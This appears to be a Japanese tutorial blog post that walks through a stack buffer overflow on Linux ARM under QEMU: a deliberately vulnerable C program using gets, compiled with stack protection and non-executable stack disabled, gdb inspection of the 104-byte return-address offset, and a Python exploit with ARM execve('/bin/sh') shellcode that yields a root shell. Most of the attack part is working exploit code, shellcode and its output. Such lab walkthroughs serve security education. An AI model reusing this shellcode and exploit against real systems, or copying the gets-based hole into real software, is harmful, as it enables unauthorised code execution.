ARMで単純なスタックバッファオーバーフロー攻撃をやってみる
「単純なスタックバッファオーバーフロー攻撃をやってみる」と同様に、Linux ARM(armel)環境でスタックバッファオーバーフローからのシェルコード実行をやってみる。
環境
Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)
# uname -a Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux # lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty # gcc --version gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2
脆弱性のあるプログラムを書いてみる
まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。
/* bof.c */
#include <stdio.h>
int main()
{
char buf[100];
setlinebuf(stdout);
printf("%p\n", buf); /* explicit leak */
gets(buf);
puts(buf);
return 0;
}
ここでは、意図的にスタック上に配置されたバッファのアドレスを出力している。
DEPおよびSSPを無効にしてコンパイルし、実行してみる。 なお、QEMUによるエミュレーションのため、ASLRは常に無効となっている。
# gcc -fno-stack-protector -zexecstack bof.c
bof.c: In function 'main':
bof.c:8:5: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
gets(buf);
^
/tmp/cc2pBhuy.o: In function `main':
bof.c:(.text+0x2a): warning: the `gets' function is dangerous and should not be used.
# ./a.out
0xf6fffcec
AAAA[ENTER]
AAAA
正常に実行できていることが確認できる。
生成された実行ファイルをディスアセンブルし、main関数に対応する部分を抜き出してみる。
# objdump -d a.out | awk '/<main>:/,/^$/'
000084b0 <main>:
84b0: b580 push {r7, lr}
84b2: b09a sub sp, #104 ; 0x68
84b4: af00 add r7, sp, #0
84b6: f241 0334 movw r3, #4148 ; 0x1034
84ba: f2c0 0301 movt r3, #1
84be: 681b ldr r3, [r3, #0]
84c0: 4618 mov r0, r3
84c2: f7ff ef7c blx 83bc <_init+0x5c>
84c6: 1d3b adds r3, r7, #4
84c8: f248 5040 movw r0, #34112 ; 0x8540
84cc: f2c0 0000 movt r0, #0
84d0: 4619 mov r1, r3
84d2: f7ff ef56 blx 8380 <_init+0x20>
84d6: 1d3b adds r3, r7, #4
84d8: 4618 mov r0, r3
84da: f7ff ef58 blx 838c <_init+0x2c>
84de: 1d3b adds r3, r7, #4
84e0: 4618 mov r0, r3
84e2: f7ff ef5a blx 8398 <_init+0x38>
84e6: 2300 movs r3, #0
84e8: 4618 mov r0, r3
84ea: 3768 adds r7, #104 ; 0x68
84ec: 46bd mov sp, r7
84ee: bd80 pop {r7, pc}
関数の先頭でlrレジスタがスタックにpushされ、末尾でpcレジスタにpopされていることがわかる。
また、バッファの先頭がr3 == r7 + 4、最後にpopされるpcレジスタがr7 + 104 + 4 == r7 + 108のアドレスに配置されていることがわかる。
したがって、バッファの先頭から104バイト先にある4バイトを書き換えれば、pcを任意の値にできることが推測される。
デバッガでメモリの内容を確認してみる
デバッガを用いて、実際のメモリの内容を確認してみる。
qemu-gdbについては、「DockerでユーザモードQEMUによるARMエミュレーション環境を構築する」を参照。
まず、main関数の先頭と、末尾でスタックポインタが変更される直前にブレークポイントをセットする。
# echo AAAA | qemu-gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
Remote debugging using :1234
Reading symbols from /lib/ld-linux-armhf.so.3...Reading symbols from /usr/lib/debug//lib/arm-linux-gnueabihf/ld-2.19.so...done.
done.
Loaded symbols for /lib/ld-linux-armhf.so.3
0xf67debc0 in _start () from /lib/ld-linux-armhf.so.3
(gdb) disas main
Dump of assembler code for function main:
0x000084b0 <+0>: push {r7, lr}
0x000084b2 <+2>: sub sp, #104 ; 0x68
0x000084b4 <+4>: add r7, sp, #0
0x000084b6 <+6>: movw r3, #4148 ; 0x1034
0x000084ba <+10>: movt r3, #1
0x000084be <+14>: ldr r3, [r3, #0]
0x000084c0 <+16>: mov r0, r3
0x000084c2 <+18>: blx 0x83bc <setlinebuf>
0x000084c6 <+22>: adds r3, r7, #4
0x000084c8 <+24>: movw r0, #34112 ; 0x8540
0x000084cc <+28>: movt r0, #0
0x000084d0 <+32>: mov r1, r3
0x000084d2 <+34>: blx 0x8380 <printf>
0x000084d6 <+38>: adds r3, r7, #4
0x000084d8 <+40>: mov r0, r3
0x000084da <+42>: blx 0x838c <gets>
0x000084de <+46>: adds r3, r7, #4
0x000084e0 <+48>: mov r0, r3
0x000084e2 <+50>: blx 0x8398 <puts>
0x000084e6 <+54>: movs r3, #0
0x000084e8 <+56>: mov r0, r3
0x000084ea <+58>: adds r7, #104 ; 0x68
0x000084ec <+60>: mov sp, r7
0x000084ee <+62>: pop {r7, pc}
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x84be
(gdb) b *main+60
Breakpoint 2 at 0x84ec
(gdb) c
Continuing.
関数の先頭でlrレジスタ、すなわちリターンアドレスの値を確認する。 その後continueし、入力文字列、リターンアドレスのそれぞれが配置されているアドレスを確認する。
Breakpoint 1, 0x000084be in main () (gdb) i r lr lr 0xf6708633 -160397773 (gdb) set $retaddr=$lr (gdb) c Continuing. 0xf6fffcdc AAAA Breakpoint 2, 0x000084ec in main () (gdb) x/40wx $sp 0xf6fffcd8: 0x00000000 0x41414141 0x00000000 0x00000000 0xf6fffce8: 0x00000000 0x00000000 0x00000000 0x00000000 0xf6fffcf8: 0x00000000 0xf67fdfc4 0x00000000 0x00000000 0xf6fffd08: 0x00000000 0x00000000 0x00000000 0x00000000 0xf6fffd18: 0xf66f4be8 0x000084f1 0x00008491 0x0000851f 0xf6fffd28: 0xf67d5bb8 0x000084f1 0x00000000 0xf67d4000 0xf6fffd38: 0x00000000 0x00000000 0x00000000 0xf6708633 0xf6fffd48: 0xf67d4000 0xf6fffe9c 0x00000001 0x000084b1 0xf6fffd58: 0x00000000 0x00000000 0x00000000 0x00000000 0xf6fffd68: 0xf67d4000 0x00000000 0x00000000 0x00000000 (gdb) find $sp, +200, 0x41414141 0xf6fffcdc 1 pattern found. (gdb) set $buf=$_ (gdb) find $sp, +200, $retaddr 0xf6fffd44 1 pattern found. (gdb) set $retptr=$_ (gdb) p $retptr-$buf $1 = 104 (gdb) c Continuing. [Inferior 1 (Remote target) exited normally] (gdb) quit
上の結果から、実際にバッファの先頭から104バイト先にリターンアドレスが配置されていることが確認できる。
エクスプロイトコードを書いてみる
Linux ARM用のシェルコードを使い、リターンアドレスをシェルコードが置かれたアドレスに書き換えるエクスプロイトコードを書いてみる。 ここで、バッファの先頭アドレスはプログラム中に仕込んでおいた出力から取得する。
# exploit.py
import struct
from subprocess import Popen, PIPE
shellcode = '\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68'
offset = 104
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
line = p.stdout.readline()
print "[>] %r" % line
addr_buf = int(line.rstrip(), 16)
buf = shellcode
buf += 'A' * (offset-len(buf))
buf += struct.pack('<I', addr_buf)
buf += '\n'
p.stdin.write(buf)
print "[<] %r" % buf
line = p.stdout.readline()
print "[>] %r" % line
p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()
実際に実行してみる。
# python exploit.py [>] '0xf6fffcec\n' [<] "\x01p\x8f\xe2\x17\xff/\xe1\x04\xa7\x03\xcfR@\x07\xb4hF\x05\xb4iF\x0b'\x01\xdf\x01\x01/bin//shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xec\xfc\xff\xf6\n" [>] "\x01p\x8f\xe2\x17\xff/\xe1\x04\xa7\x03\xcfR@\x07\xb4hF\x05\xb4iF\x0b'\x01\xdf\x01\x01/bin//shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xec\xfc\xff\xf6\n" # id uid=0(root) gid=0(root) groups=0(root) #
リターンアドレスの書き換えにより、シェルコード経由でシェルが起動できていることが確認できた。